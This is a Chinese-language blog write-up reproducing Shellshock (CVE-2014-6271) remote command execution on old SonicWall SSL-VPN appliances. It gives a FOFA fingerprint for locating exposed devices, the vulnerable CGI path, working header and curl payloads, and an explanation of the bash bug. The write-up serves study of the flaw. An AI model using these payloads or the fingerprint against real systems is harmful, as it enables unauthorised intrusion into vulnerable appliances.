SonicWall SSL-VPN 远程命令执行

  • SonicWall SSL-VPN 远程命令执行已关闭评论
  • 29 views
  • A+

漏洞简介

由于 SonicWall SSL-VPN 历史版本(Sonic SMA < 8.0.0.4) 使用了受 Shellshock 漏洞影响的 bash 版本以及 HTTP CGI 可执行程序,攻击者可构造其恶意 HTTP 请求头,造成远程任意命令执行,并获取主机控制权限。

漏洞复现

fofa 指纹:(body="login_box_sonicwall" || header="SonicWALL SSL-VPN Web Server") && body="SSL-VPN"

20210224103515.png

访问 SonicWall SSL-VPN 的目录 /cgi-bin/jarrewrite.sh

构造请求实现远程命令执行

User-Agent: () { :; }; echo ; /bin/bash -c 'whoami'

20210224102926.png

或者直接通过curl命令快速实现

curl -A "() { :; }; echo ; /bin/bash -c 'whoami'" https://127.0.0.1/cgi-bin/jarrewrite.sh -k

20210224101540.png

curl -H "X:() { :; }; echo ; /bin/bash -c 'whoami'" https://127.0.0.1/cgi-bin/jarrewrite.sh -k

20210224101748.png

漏洞原理 CVE-2014-6271

在获取主机权限后我们注意到 /cgi-bin/jarrewrite.sh

20210224104926.png

刚开始以为是因为这个脚本才产生的漏洞,后来发现跟这个脚本并没有太大的关系,利用这个脚本是因为这个脚本调用了/bin/bash

20210224105718.png

我们注意到这个 bash 的版本 可以说是非常老了,而老版本的 bash 存在着历史漏洞CVE-2014-6271

Bash 使用的环境变量是通过函数名称来进行调用的,导致漏洞出问题时以(){ 开头定义的环境变量在 ENV 中解析成函数之后,Bash 执行并未退出,而是继续解析并执行 shell 命令。

下面是参考网上文章一些自己的分析,若有错误之处请指正
我们在 bash 命令行中直接执行

x='() { :;}; echo CVE-2014-6271' bash -c "echo test"

20210224141645.png

可以看到输出了两行数据。

在shell 里面定义了一个内容为字符串 () { :;}; echo CVE-2014-6271 的变量 x

当 Bash 在初始化环境变量是,语法解析器发现小括号和大括号是就认定他是一个函数定义

shell
bash-2.05b$ test='() { echo test; }'
bash-2.05b$ export test
bash-2.05b$ bash -c 'test'
test
bash-2.05b$

最后删除环境变量定义 unset test

20210224142734.png

20210224143304.png

开启新的 bash 进程之后,test 被解析成了全局的函数

20210224144728.png

declare 命令是 Bash 内置的,用来限定变量的属性,-f 表示 test 是一个函数,-x 参数表示 test 被 export 成一个环境变量,所以这句话的意思是让 test 成了全局有效的函数。

我们在对 SonicWall SSL-VPN 的这个 poc 进行一个简单的分析

User-Agent: () { :; }; echo ; /bin/bash -c 'whoami'

User-Agent 对应的字符串会全部存进环境变量当中,存进环境变量中的数据类似于 a() { :; }; echo ; /bin/bash -c 'whoami',当低版本的 bash 执行环境变量时,就可以实现命令执行的效果,而 { :; } 这句中的冒号和分号,分号作为结束符,而冒号则类似于 python 中的pass。